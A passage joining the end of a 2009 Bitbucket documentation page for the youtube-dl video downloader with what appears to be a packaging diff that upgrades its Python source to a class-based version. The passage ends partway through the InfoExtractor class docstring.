</li><li>For YouTube, you can also use the URL of a playlist, and it will download all the videos in that playlist.
</li><li>For YouTube, you can also use the special word ytsearch to download search results. With ytsearch it will download the first search result. With ytsearchN, where N is a number, it will download the first N results. With ytsearchall it will download every result for that search. In most systems you'll need to use quotes for multiple words. Example: <em>youtube-dl "ytsearch3:cute kittens"</em>.
</li><li><em>youtube-dl</em> honors the http_proxy environment variable if you want to use a proxy. Set it to something like <em><code>http://proxy.example.com:8080</code></em>, and do not leave the <em><code>http://</code></em> prefix out.
</li><li>You can get the program version by calling it as <em>youtube-dl -v</em> or <em>youtube-dl --version</em>.
</li><li>For usage instructions, use <em>youtube-dl -h</em> or <em>youtube-dl --help</em>.
</li><li>You can cancel the program at any time pressing Ctrl+C. It may print some error lines saying something about <em>KeyboardInterrupt</em>. That's ok.
</li></ul>
<h2 id="download-it">Download it</h2>
<p>Note that if you directly click on these hyperlinks, your web browser will most likely display the program contents. It's usually better to right-click on it and choose the appropriate option, normally called <em>Save Target As</em> or <em>Save Link As</em>, depending on the web browser you are using.</p>
<h3 id="httpbitbucketorgrg3youtube-dlraw20090913youtube-dl20090913"><a href="http://bitbucket.org/rg3/youtube-dl/raw/2009.09.13/youtube-dl">2009.09.13</a></h3>
<ul><li><strong>MD5</strong>: db4e6acf6876f5df4896724be0084980
</li><li><strong>SHA1</strong>: c76eca4489d625b76955d2eda76be19960bd9f3b
</li><li><strong>SHA256</strong>: d6ca29457644d3fca8915f50470d50a2599100365bfdc94784868d7884a98afe
</li></ul>
<h3 id="output-template">Output template</h3>
<p>The -o option allows users to indicate a template for the output file names. The basic usage is not to set any template arguments when downloading a single file, like in <em>youtube-dl -o funny_video.flv "<code>http://some/video</code>"</em>. However, it may contain special sequences that will be replaced when downloading each video. The special sequences have the format <strong>%(NAME)s</strong>. To clarify, that's a percent symbol followed by a name in parenthesis, followed by a lowercase S. Allowed names are:</p>
<ul><li><em>id</em>: The sequence will be replaced by the video identifier.
</li><li><em>url</em>: The sequence will be replaced by the video URL.
</li><li><em>uploader</em>: The sequence will be replaced by the nickname of the person who uploaded the video.
</li><li><em>title</em>: The sequence will be replaced by the literal video title.
</li><li><em>stitle</em>: The sequence will be replaced by a simplified video title, restricted to alphanumeric characters and dashes.
</li><li><em>ext</em>: The sequence will be replaced by the appropriate extension (like <em>flv</em> or <em>mp4</em>).
</li><li><em>epoch</em>: The sequence will be replaced by the Unix epoch when creating the file.
</li></ul>
<p>As you may have guessed, the default template is <em>%(id)s.%(ext)s</em>. When some command line options are used, it's replaced by other templates like <em>%(title)s-%(id)s.%(ext)s</em>. You can specify your own.</p>
<h2 id="authors">Authors</h2>
<ul><li>Ricardo Garcia Gonzalez: program core, YouTube.com InfoExtractor, metacafe.com InfoExtractor and YouTube playlist InfoExtractor.
</li><li>Danny Colligan: YouTube search InfoExtractor, ideas and patches.
</li><li>Many other people contributing patches, code, ideas and kind messages. Too many to be listed here. You know who you are. Thank you very much.
</li></ul>
<p>Copyright ? 2006-2009 Ricardo Garcia Gonzalez</p>

		
		
	</div>


			<div class="cb"></div>
		</div>
		<div class="cb footer-placeholder"></div>
	</div>
	<div id="footer-wrapper">
		<div id="footer">
			<a href="/site/terms/">TOS</a> | <a href="/site/privacy/">Privacy Policy</a> | <a href="http://blog.bitbucket.org/">Blog</a> | <a href="http://bitbucket.org/jespern/bitbucket/issues/new/">Report Bug</a> | <a href="http://groups.google.com/group/bitbucket-users">Discuss</a> | <a href="http://avantlumiere.com/">&copy; 2008-2009</a>
			| We run <small><b>
				<a href="http://www.djangoproject.com/">Django 1.1.0</a> / 
				<a href="http://bitbucket.org/jespern/django-piston/">Piston 0.2.3rc1</a> / 
				<a href="http://www.selenic.com/mercurial/">Hg 1.3.1</a> / 
				<a href="http://www.python.org">Python 2.5.2</a> /
				r2687
			</b></small>
		</div>
	</div>
	<script type="text/javascript">
	var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
	document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
	</script>
	<script type="text/javascript">
	var pt = _gat._getTracker("UA-2456069-3");
	pt._trackPageview();
	</script>
</body>
</html>


Index: youtube-dl
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/F-10/youtube-dl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- youtube-dl	26 Jan 2008 11:33:26 -0000	1.1
+++ youtube-dl	9 Oct 2009 16:27:29 -0000	1.2
@@ -1,387 +1,1228 @@
 #!/usr/bin/env python
-#
-# Copyright (c) 2006-2008 Ricardo Garcia Gonzalez
-#
-# Permission is hereby granted, free of charge, to any person obtaining a
-# copy of this software and associated documentation files (the "Software"),
-# to deal in the Software without restriction, including without limitation
-# the rights to use, copy, modify, merge, publish, distribute, sublicense,
-# and/or sell copies of the Software, and to permit persons to whom the
-# Software is furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included
-# in all copies or substantial portions of the Software.
-# 
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-# OTHER DEALINGS IN THE SOFTWARE.
-# 
-# Except as contained in this notice, the name(s) of the above copyright
-# holders shall not be used in advertising or otherwise to promote the
-# sale, use or other dealings in this Software without prior written
-# authorization.
-#
-import getpass
+# -*- coding: utf-8 -*-
+# Author: Ricardo Garcia Gonzalez
+# Author: Danny Colligan
+# License: Public domain code
+import htmlentitydefs
 import httplib
+import locale
 import math
 import netrc
-import optparse
 import os
+import os.path
 import re
 import socket
 import string
 import sys
 import time
+import urllib
 import urllib2
 
-# Global constants
-const_1k = 1024
-const_initial_block_size = 10 * const_1k
-const_epsilon = 0.0001
-const_timeout = 120
-
-const_video_url_str = 'http://www.youtube.com/watch?v=%s'
-const_video_url_re = re.compile(r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:v/|(?:watch(?:\.php)?)?\?(?:.+&)?v=))?([0-9A-Za-z_-]+)(?(1)[&/].*)?$')
-const_login_url_str = 'http://www.youtube.com/login?next=/watch%%3Fv%%3D%s'
-const_login_post_str = 'current_form=loginForm&next=%%2Fwatch%%3Fv%%3D%s&username=%s&password=%s&action_login=Log+In'
-const_age_url_str = 'http://www.youtube.com/verify_age?next_url=/watch%%3Fv%%3D%s'
-const_age_post_str = 'next_url=%%2Fwatch%%3Fv%%3D%s&action_confirm=Confirm'
-const_url_t_param_re = re.compile(r', "t": "([^"]+)"')
-const_video_url_real_str = 'http://www.youtube.com/get_video?video_id=%s&t=%s'
-const_video_title_re = re.compile(r'<title>YouTube - ([^<]*)</title>', re.M | re.I)
-
-# Print error message, followed by standard advice information, and then exit
-def error_advice_exit(error_text):
-	sys.stderr.write('Error: %s.\n' % error_text)
-	sys.stderr.write('Try again several times. It may be a temporary problem.\n')
-	sys.stderr.write('Other typical problems:\n\n')
-	sys.stderr.write('* Video no longer exists.\n')
-	sys.stderr.write('* Video requires age confirmation but you did not provide an account.\n')
-	sys.stderr.write('* You provided the account data, but it is not valid.\n')
-	sys.stderr.write('* The connection was cut suddenly for some reason.\n')
-	sys.stderr.write('* YouTube changed their system, and the program no longer works.\n')
-	sys.stderr.write('\nTry to confirm you are able to view the video using a web browser.\n')
-	sys.stderr.write('Use the same video URL and account information, if needed, with this program.\n')
-	sys.stderr.write('When using a proxy, make sure http_proxy has http://host:port format.\n')
-	sys.stderr.write('Try again several times and contact me if the problem persists.\n')
-	sys.exit('\n')
-
-# Wrapper to create custom requests with typical headers
-def request_create(url, data=None):
-	retval = urllib2.Request(url)
-	if data is not None:
-		retval.add_data(data)
-	# Try to mimic Firefox, at least a little bit
-	retval.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11')
-	retval.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
-	retval.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5')
-	retval.add_header('Accept-Language', 'en-us,en;q=0.5')
-	return retval
-
-# Perform a request, process headers and return response
-def perform_request(url, data=None):
-	request = request_create(url, data)
-	response = urllib2.urlopen(request)
-	return response
-
-# Conditional print
-def cond_print(str):
-	global cmdl_opts
-	if not (cmdl_opts.quiet or cmdl_opts.get_url):
-		sys.stdout.write(str)
-		sys.stdout.flush()
-
-# Title string normalization
-def title_string_norm(title):
-	title = ''.join((x in string.ascii_letters or x in string.digits) and x or ' ' for x in title)
-	title = '_'.join(title.split())
-	title = title.lower()
-	return title
-
-# Generic download step
-def download_step(return_data_flag, step_title, step_error, url, post_data=None):
+std_headers = {
+	'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2',
+	'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
+	'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
+	'Accept-Language': 'en-us,en;q=0.5',
+}
+
+simple_title_chars = string.ascii_letters.decode('ascii') + string.digits.decode('ascii')
+
+def preferredencoding():
+	"""Get preferred encoding.
+
+	Returns the best encoding scheme for the system, based on
+	locale.getpreferredencoding() and some further tweaks.
+	"""
 	try:
-		cond_print('%s... ' % step_title)
-		data = perform_request(url, post_data).read()
-		cond_print('done.\n')
-		if return_data_flag:
-			return data
-		return None
-
-	except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-		cond_print('failed.\n')
-		error_advice_exit(step_error)
-
-	except KeyboardInterrupt:
-		sys.exit('\n')
+		pref = locale.getpreferredencoding()
+		# Mac OSX systems have this problem sometimes
+		if pref == '':
+			return 'UTF-8'
+		return pref
+	except:
+		sys.stderr.write('WARNING: problem obtaining preferred encoding. Falling back to UTF-8.\n')
+		return 'UTF-8'
 
-# Generic extract step
-def extract_step(step_title, step_error, regexp, data):
-	try:
-		cond_print('%s... ' % step_title)
-		match = regexp.search(data)
-		
-		if match is None:
-			cond_print('failed.\n')
-			error_advice_exit(step_error)
-		
-		extracted_data = match.group(1)
-		cond_print('done.\n')
-		return extracted_data
+class DownloadError(Exception):
+	"""Download Error exception.
 	
-	except KeyboardInterrupt:
-		sys.exit('\n')
-
-# Calculate new block size based on previous block size
-def new_block_size(before, after, bytes):
-	new_min = max(bytes / 2.0, 1.0)
-	new_max = max(bytes * 2.0, 1.0)
-	dif = after - before
-	if dif < const_epsilon:
-		return int(new_max)
-	rate = bytes / dif
-	if rate > new_max:
-		return int(new_max)
-	if rate < new_min:
-		return int(new_min)
-	return int(rate)
-
-# Get optimum 1k exponent to represent a number of bytes
-def optimum_k_exp(num_bytes):
-	global const_1k
-	if num_bytes == 0:
-		return 0
-	return long(math.log(num_bytes, const_1k))
-
-# Get optimum representation of number of bytes
-def format_bytes(num_bytes):
-	global const_1k
-	try:
-		exp = optimum_k_exp(num_bytes)
-		suffix = 'bkMGTPEZY'[exp]
-		if exp == 0:
-			return '%s%s' % (num_bytes, suffix)
-		converted = float(num_bytes) / float(const_1k**exp)
+	This exception may be thrown by FileDownloader objects if they are not
+	configured to continue on errors. They will contain the appropriate
+	error message.
+	"""
+	pass
+
+class SameFileError(Exception):
+	"""Same File exception.
+
+	This exception will be thrown by FileDownloader objects if they detect
+	multiple files would have to be downloaded to the same file on disk.
+	"""
+	pass
+
+class PostProcessingError(Exception):
+	"""Post Processing exception.
+
+	This exception may be raised by PostProcessor's .run() method to
+	indicate an error in the postprocessing task.
+	"""
+	pass
+
+class UnavailableFormatError(Exception):
+	"""Unavailable Format exception.
+
+	This exception will be thrown when a video is requested
+	in a format that is not available for that video.
+	"""
+	pass
+
+class ContentTooShortError(Exception):
+	"""Content Too Short exception.
+
+	This exception may be raised by FileDownloader objects when a file they
+	download is too small for what the server announced first, indicating
+	the connection was probably interrupted.
+	"""
+	# Both in bytes
+	downloaded = None
+	expected = None
+
+	def __init__(self, downloaded, expected):
+		self.downloaded = downloaded
+		self.expected = expected
+
+class FileDownloader(object):
+	"""File Downloader class.
+
+	File downloader objects are the ones responsible of downloading the
+	actual video file and writing it to disk if the user has requested
+	it, among some other tasks. In most cases there should be one per
+	program. As, given a video URL, the downloader doesn't know how to
+	extract all the needed information, task that InfoExtractors do, it
+	has to pass the URL to one of them.
+
+	For this, file downloader objects have a method that allows
+	InfoExtractors to be registered in a given order. When it is passed
+	a URL, the file downloader handles it to the first InfoExtractor it
+	finds that reports being able to handle it. The InfoExtractor extracts
+	all the information about the video or videos the URL refers to, and
+	asks the FileDownloader to process the video information, possibly
+	downloading the video.
+
+	File downloaders accept a lot of parameters. In order not to saturate
+	the object constructor with arguments, it receives a dictionary of
+	options instead. These options are available through the params
+	attribute for the InfoExtractors to use. The FileDownloader also
+	registers itself as the downloader in charge for the InfoExtractors
+	that are added to it, so this is a "mutual registration".
+
+	Available options:
+
+	username:	Username for authentication purposes.
+	password:	Password for authentication purposes.
+	usenetrc:	Use netrc for authentication instead.
+	quiet:		Do not print messages to stdout.
+	forceurl:	Force printing final URL.
+	forcetitle:	Force printing title.
+	simulate:	Do not download the video files.
+	format:		Video format code.
+	outtmpl:	Template for output names.
+	ignoreerrors:	Do not stop on download errors.
+	ratelimit:	Download speed limit, in bytes/sec.
+	nooverwrites:	Prevent overwriting files.
+	continuedl:	Try to continue downloads if possible.
+	"""
+
+	params = None
+	_ies = []
+	_pps = []
+	_download_retcode = None
+
+	def __init__(self, params):
+		"""Create a FileDownloader object with the given options."""
+		self._ies = []
+		self._pps = []
+		self._download_retcode = 0
+		self.params = params
+	
+	@staticmethod
+	def pmkdir(filename):
+		"""Create directory components in filename. Similar to Unix "mkdir -p"."""
+		components = filename.split(os.sep)
+		aggregate = [os.sep.join(components[0:x]) for x in xrange(1, len(components))]
+		aggregate = ['%s%s' % (x, os.sep) for x in aggregate] # Finish names with separator
+		for dir in aggregate:
+			if not os.path.exists(dir):
+				os.mkdir(dir)
+	
+	@staticmethod
+	def format_bytes(bytes):
+		if bytes is None:
+			return 'N/A'
+		if type(bytes) is str:
+			bytes = float(bytes)
+		if bytes == 0.0:
+			exponent = 0
+		else:
+			exponent = long(math.log(bytes, 1024.0))
+		suffix = 'bkMGTPEZY'[exponent]
+		converted = float(bytes) / float(1024**exponent)
 		return '%.2f%s' % (converted, suffix)
-	except IndexError:
-		sys.exit('Error: internal error formatting number of bytes.')
-
-# Calculate ETA and return it in string format as MM:SS
-def calc_eta(start, now, total, current):
-	dif = now - start
-	if current == 0 or dif < const_epsilon:
-		return '--:--'
-	rate = float(current) / dif
-	eta = long((total - current) / rate)
-	(eta_mins, eta_secs) = divmod(eta, 60)
-	if eta_mins > 99:
-		return '--:--'
-	return '%02d:%02d' % (eta_mins, eta_secs)
-
-# Calculate speed and return it in string format
-def calc_speed(start, now, bytes):
-	dif = now - start
-	if bytes == 0 or dif < const_epsilon:
-		return 'N/A b'
-	return format_bytes(float(bytes) / dif)
-
-
-# Title string minimal transformation
-def title_string_touch(title):
-	return title.replace(os.sep, '%')
-
-# Create the command line options parser and parse command line
-cmdl_usage = 'usage: %prog [options] video_url'
-cmdl_version = '2008.01.24'
-cmdl_parser = optparse.OptionParser(usage=cmdl_usage, version=cmdl_version, conflict_handler='resolve')
-cmdl_parser.add_option('-h', '--help', action='help', help='print this help text and exit')
-cmdl_parser.add_option('-v', '--version', action='version', help='print program version and exit')
-cmdl_parser.add_option('-u', '--username', dest='username', metavar='USERNAME', help='account username')
-cmdl_parser.add_option('-p', '--password', dest='password', metavar='PASSWORD', help='account password')
-cmdl_parser.add_option('-o', '--output', dest='outfile', metavar='FILE', help='output video file name')
-cmdl_parser.add_option('-q', '--quiet', action='store_true', dest='quiet', help='activates quiet mode')
-cmdl_parser.add_option('-s', '--simulate', action='store_true', dest='simulate', help='do not download video')
-cmdl_parser.add_option('-t', '--title', action='store_true', dest='use_title', help='use title in file name')
-cmdl_parser.add_option('-l', '--literal', action='store_true', dest='use_literal', help='use literal title in file name')
-cmdl_parser.add_option('-n', '--netrc', action='store_true', dest='use_netrc', help='use .netrc authentication data')
-cmdl_parser.add_option('-g', '--get-url', action='store_true', dest='get_url', help='print final video URL only')
-cmdl_parser.add_option('-2', '--title-too', action='store_true', dest='get_title', help='used with -g, print title too')
-(cmdl_opts, cmdl_args) = cmdl_parser.parse_args()
-
-# Set socket timeout
-socket.setdefaulttimeout(const_timeout)
-
-# Get video URL
-if len(cmdl_args) != 1:
-	cmdl_parser.print_help()
-	sys.exit('\n')
-video_url_cmdl = cmdl_args[0]
-
-# Verify video URL format and convert to "standard" format
-video_url_mo = const_video_url_re.match(video_url_cmdl)
-if video_url_mo is None:
-	sys.exit('Error: URL does not seem to be a youtube video URL. If it is, report a bug.')
-video_url_id = video_url_mo.group(2)
-video_url = const_video_url_str % video_url_id
-
-# Check conflicting options
-if cmdl_opts.outfile is not None and (cmdl_opts.simulate or cmdl_opts.get_url):
-	sys.stderr.write('Warning: video file name given but will not be used.\n')
-
-if cmdl_opts.outfile is not None and (cmdl_opts.use_title or cmdl_opts.use_literal):
-	sys.exit('Error: using the video title conflicts with using a given file name.')
-
-if cmdl_opts.use_title and cmdl_opts.use_literal:
-	sys.exit('Error: cannot use title and literal title at the same time.')
-
-if cmdl_opts.quiet and cmdl_opts.get_url:
-	sys.exit('Error: cannot be quiet and print final URL at the same time.')
-
-# Incorrect option formatting
-if cmdl_opts.username is None and cmdl_opts.password is not None:
-	sys.exit('Error: password give but username is missing.')
-
-if cmdl_opts.use_netrc and (cmdl_opts.username is not None or cmdl_opts.password is not None):
-	sys.exit('Error: cannot use netrc and username/password at the same time.')
-
-if cmdl_opts.get_url is None and cmdl_opts.get_title is not None:
-	sys.exit('Error: getting title requires getting URL.')
-
-# Get account information if any
-account_username = None
-account_password = None
 
-if cmdl_opts.use_netrc:
-	try:
-		info = netrc.netrc().authenticators('youtube')
-		if info is None:
-			sys.exit('Error: no authenticators for machine youtube.')
-		account_username = info[0]
-		account_password = info[2]
-	except IOError:
-		sys.exit('Error: unable to read .netrc file.')
-	except netrc.NetrcParseError:
-		sys.exit('Error: unable to parse .netrc file.')
-else:
-	account_username = cmdl_opts.username
-	if account_username is not None:
-		if cmdl_opts.password is None:
-			account_password = getpass.getpass('Type YouTube password and press return: ')
+	@staticmethod
+	def calc_percent(byte_counter, data_len):
+		if data_len is None:
+			return '---.-%'
+		return '%6s' % ('%3.1f%%' % (float(byte_counter) / float(data_len) * 100.0))
+
+	@staticmethod
+	def calc_eta(start, now, total, current):
+		if total is None:
+			return '--:--'
+		dif = now - start
+		if current == 0 or dif < 0.001: # One millisecond
+			return '--:--'
+		rate = float(current) / dif
+		eta = long((float(total) - float(current)) / rate)
+		(eta_mins, eta_secs) = divmod(eta, 60)
+		if eta_mins > 99:
+			return '--:--'
+		return '%02d:%02d' % (eta_mins, eta_secs)
+
+	@staticmethod
+	def calc_speed(start, now, bytes):
+		dif = now - start
+		if bytes == 0 or dif < 0.001: # One millisecond
+			return '%10s' % '---b/s'
+		return '%10s' % ('%s/s' % FileDownloader.format_bytes(float(bytes) / dif))
+
+	@staticmethod
+	def best_block_size(elapsed_time, bytes):
+		new_min = max(bytes / 2.0, 1.0)
+		new_max = min(max(bytes * 2.0, 1.0), 4194304) # Do not surpass 4 MB
+		if elapsed_time < 0.001:
+			return long(new_max)
+		rate = bytes / elapsed_time
+		if rate > new_max:
+			return long(new_max)
+		if rate < new_min:
+			return long(new_min)
+		return long(rate)
+
+	@staticmethod
+	def parse_bytes(bytestr):
+		"""Parse a string indicating a byte quantity into a long integer."""
+		matchobj = re.match(r'(?i)^(\d+(?:\.\d+)?)([kMGTPEZY]?)$', bytestr)
+		if matchobj is None:
+			return None
+		number = float(matchobj.group(1))
+		multiplier = 1024.0 ** 'bkmgtpezy'.index(matchobj.group(2).lower())
+		return long(round(number * multiplier))
+
+	@staticmethod
+	def verify_url(url):
+		"""Verify a URL is valid and data could be downloaded. Return real data URL."""
+		request = urllib2.Request(url, None, std_headers)
+		data = urllib2.urlopen(request)
+		data.read(1)
+		url = data.geturl()
+		data.close()
+		return url
+
+	def add_info_extractor(self, ie):
+		"""Add an InfoExtractor object to the end of the list."""
+		self._ies.append(ie)
+		ie.set_downloader(self)
+	
+	def add_post_processor(self, pp):
+		"""Add a PostProcessor object to the end of the chain."""
+		self._pps.append(pp)
+		pp.set_downloader(self)
+	
+	def to_stdout(self, message, skip_eol=False):
+		"""Print message to stdout if not in quiet mode."""
+		if not self.params.get('quiet', False):
+			print (u'%s%s' % (message, [u'\n', u''][skip_eol])).encode(preferredencoding()),
+			sys.stdout.flush()
+	
+	def to_stderr(self, message):
+		"""Print message to stderr."""
+		print >>sys.stderr, message.encode(preferredencoding())
+	
+	def fixed_template(self):
+		"""Checks if the output template is fixed."""
+		return (re.search(ur'(?u)%\(.+?\)s', self.params['outtmpl']) is None)
+
+	def trouble(self, message=None):
+		"""Determine action to take when a download problem appears.
+
+		Depending on if the downloader has been configured to ignore
+		download errors or not, this method may throw an exception or
+		not when errors are found, after printing the message.
+		"""
+		if message is not None:
+			self.to_stderr(message)
+		if not self.params.get('ignoreerrors', False):
+			raise DownloadError(message)
+		self._download_retcode = 1
+
+	def slow_down(self, start_time, byte_counter):
+		"""Sleep if the download speed is over the rate limit."""
+		rate_limit = self.params.get('ratelimit', None)
+		if rate_limit is None or byte_counter == 0:
+			return
+		now = time.time()
+		elapsed = now - start_time
+		if elapsed <= 0.0:
+			return
+		speed = float(byte_counter) / elapsed
+		if speed > rate_limit:
+			time.sleep((byte_counter - rate_limit * (now - start_time)) / rate_limit)
+
+	def report_destination(self, filename):
+		"""Report destination filename."""
+		self.to_stdout(u'[download] Destination: %s' % filename)
+	
+	def report_progress(self, percent_str, data_len_str, speed_str, eta_str):
+		"""Report download progress."""
+		self.to_stdout(u'\r[download] %s of %s at %s ETA %s' %
+				(percent_str, data_len_str, speed_str, eta_str), skip_eol=True)
+
+	def report_resuming_byte(self, resume_len):
+		"""Report attemtp to resume at given byte."""
+		self.to_stdout(u'[download] Resuming download at byte %s' % resume_len)
+	
+	def report_file_already_downloaded(self, file_name):
+		"""Report file has already been fully downloaded."""
+		self.to_stdout(u'[download] %s has already been downloaded' % file_name)
+	
+	def report_unable_to_resume(self):
+		"""Report it was impossible to resume download."""
+		self.to_stdout(u'[download] Unable to resume')
+	
+	def report_finish(self):
+		"""Report download finished."""
+		self.to_stdout(u'')
+
+	def process_info(self, info_dict):
+		"""Process a single dictionary returned by an InfoExtractor."""
+		# Do nothing else if in simulate mode
+		if self.params.get('simulate', False):
+			try:
+				info_dict['url'] = self.verify_url(info_dict['url'])
+			except (OSError, IOError, urllib2.URLError, httplib.HTTPException, socket.error), err:
+				raise UnavailableFormatError
+
+			# Forced printings
+			if self.params.get('forcetitle', False):
+				print info_dict['title'].encode(preferredencoding())
+			if self.params.get('forceurl', False):
+				print info_dict['url'].encode(preferredencoding())
+
+			return
+			
+		try:
+			template_dict = dict(info_dict)
+			template_dict['epoch'] = unicode(long(time.time()))
+			filename = self.params['outtmpl'] % template_dict
+		except (ValueError, KeyError), err:
+			self.trouble('ERROR: invalid output template or system charset: %s' % str(err))
+		if self.params['nooverwrites'] and os.path.exists(filename):
+			self.to_stderr(u'WARNING: file exists: %s; skipping' % filename)
+			return
+
+		try:
+			self.pmkdir(filename)
+		except (OSError, IOError), err:
+			self.trouble('ERROR: unable to create directories: %s' % str(err))
+			return
+
+		try:
+			success = self._do_download(filename, info_dict['url'])
+		except (OSError, IOError), err:
+			raise UnavailableFormatError
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self.trouble('ERROR: unable to download video data: %s' % str(err))
+			return
+		except (ContentTooShortError, ), err:
+			self.trouble('ERROR: content too short (expected %s bytes and served %s)' % (err.expected, err.downloaded))
+			return
+
+		if success:
+			try:
+				self.post_process(filename, info_dict)
+			except (PostProcessingError), err:
+				self.trouble('ERROR: postprocessing: %s' % str(err))
+				return
+
+	def download(self, url_list):
+		"""Download a given list of URLs."""
+		if len(url_list) > 1 and self.fixed_template():
+			raise SameFileError(self.params['outtmpl'])
+
+		for url in url_list:
+			suitable_found = False
+			for ie in self._ies:
+				# Go to next InfoExtractor if not suitable
+				if not ie.suitable(url):
+					continue
+
+				# Suitable InfoExtractor found
+				suitable_found = True
+
+				# Extract information from URL and process it
+				ie.extract(url)
+
+				# Suitable InfoExtractor had been found; go to next URL
+				break
+
+			if not suitable_found:
+				self.trouble('ERROR: no suitable InfoExtractor: %s' % url)
+
+		return self._download_retcode
+
+	def post_process(self, filename, ie_info):
+		"""Run the postprocessing chain on the given file."""
+		info = dict(ie_info)
+		info['filepath'] = filename
+		for pp in self._pps:
+			info = pp.run(info)
+			if info is None:
+				break
+	
+	def _do_download(self, filename, url):
+		stream = None
+		open_mode = 'ab'
+
+		basic_request = urllib2.Request(url, None, std_headers)
+		request = urllib2.Request(url, None, std_headers)
+
+		# Attempt to resume download with "continuedl" option
+		if os.path.isfile(filename):
+			resume_len = os.path.getsize(filename)
 		else:
-			account_password = cmdl_opts.password
-
-# Get output file name 
-if cmdl_opts.outfile is None:
-	video_filename = '%s.flv' % video_url_id
-else:
-	video_filename = cmdl_opts.outfile
-
-# Install cookie and proxy handlers
-urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
-urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
-
-# Log in and confirm age if needed
-if account_username is not None:
-	url = const_login_url_str % video_url_id
-	post = const_login_post_str % (video_url_id, account_username, account_password)
-	download_step(False, 'Logging in', 'unable to log in', url, post)
-
-	url = const_age_url_str % video_url_id
-	post = const_age_post_str % video_url_id
-	download_step(False, 'Confirming age', 'unable to confirm age', url, post)
-
-# Retrieve video webpage
-video_webpage = download_step(True, 'Retrieving video webpage', 'unable to retrieve video webpage', video_url)
-
-# Extract video title if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal or cmdl_opts.get_title:
-	video_title = extract_step('Extracting video title', 'unable to extract video title', const_video_title_re, video_webpage)
-
-# Extract needed video URL parameters
-video_url_t_param = extract_step('Extracting URL "t" parameter', 'unable to extract URL "t" parameter', const_url_t_param_re, video_webpage)
-video_url_real = const_video_url_real_str % (video_url_id, video_url_t_param)
-
-# Rebuild filename if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal:
-	if cmdl_opts.use_title:
-		prefix = title_string_norm(video_title)
-	else:
-		prefix = title_string_touch(video_title)
-	video_filename = '%s-%s.flv' % (prefix, video_url_id)
-
-# Check name
-if not video_filename.lower().endswith('.flv'):
-	sys.stderr.write('Warning: video file name does not end in .flv\n')
-
-# Retrieve video data
-try:
-	cond_print('Requesting video file... ')
-	video_data = perform_request(video_url_real)
-	cond_print('done.\n')
-	cond_print('Video data found at %s\n' % video_data.geturl())
-
-	if cmdl_opts.get_title:
-		print video_title
-
-	if cmdl_opts.get_url:
-		print video_data.geturl()
-
-	if cmdl_opts.simulate or cmdl_opts.get_url:
-		sys.exit()
+			resume_len = 0
+		if self.params['continuedl'] and resume_len != 0:
+			self.report_resuming_byte(resume_len)
+			request.add_header('Range','bytes=%d-' % resume_len)
+
+		# Establish connection
+		try:
+			data = urllib2.urlopen(request)
+		except (urllib2.HTTPError, ), err:
+			if err.code != 416: #  416 is 'Requested range not satisfiable'
+				raise
+			data = urllib2.urlopen(basic_request)
+			content_length = data.info()['Content-Length']
+			if content_length is not None and long(content_length) == resume_len:
+				self.report_file_already_downloaded(filename)
+				return True
+			else:
+				self.report_unable_to_resume()
+				open_mode = 'wb'
+
+		data_len = data.info().get('Content-length', None)
+		data_len_str = self.format_bytes(data_len)
+		byte_counter = 0
+		block_size = 1024
+		start = time.time()
+		while True:
+			# Download and write
+			before = time.time()
+			data_block = data.read(block_size)
+			after = time.time()
+			data_block_len = len(data_block)
+			if data_block_len == 0:
+				break
+			byte_counter += data_block_len
+
+			# Open file just in time
+			if stream is None:
+				try:
+					stream = open(filename, open_mode)
+					self.report_destination(filename)
+				except (OSError, IOError), err:
+					self.trouble('ERROR: unable to open for writing: %s' % str(err))
+					return False
+			stream.write(data_block)
+			block_size = self.best_block_size(after - before, data_block_len)
+
+			# Progress message
+			percent_str = self.calc_percent(byte_counter, data_len)
+			eta_str = self.calc_eta(start, time.time(), data_len, byte_counter)
+			speed_str = self.calc_speed(start, time.time(), byte_counter)
+			self.report_progress(percent_str, data_len_str, speed_str, eta_str)
+
+			# Apply rate limit
+			self.slow_down(start, byte_counter)
+
+		self.report_finish()
+		if data_len is not None and str(byte_counter) != data_len:
+			raise ContentTooShortError(byte_counter, long(data_len))
+		return True
+
+class InfoExtractor(object):
+	"""Information Extractor class.
+
+	Information extractors are the classes that, given a URL, extract
+	information from the video (or videos) the URL refers to. This
+	information includes the real video URL, the video title and simplified
+	title, author and others. The information is stored in a dictionary
+	which is then passed to the FileDownloader. The FileDownloader
+	processes this information possibly downloading the video to the file
+	system, among other possible outcomes. The dictionaries must include
+	the following fields:
+
+	id:		Video identifier.
+	url:		Final video URL.
+	uploader:	Nickname of the video uploader.
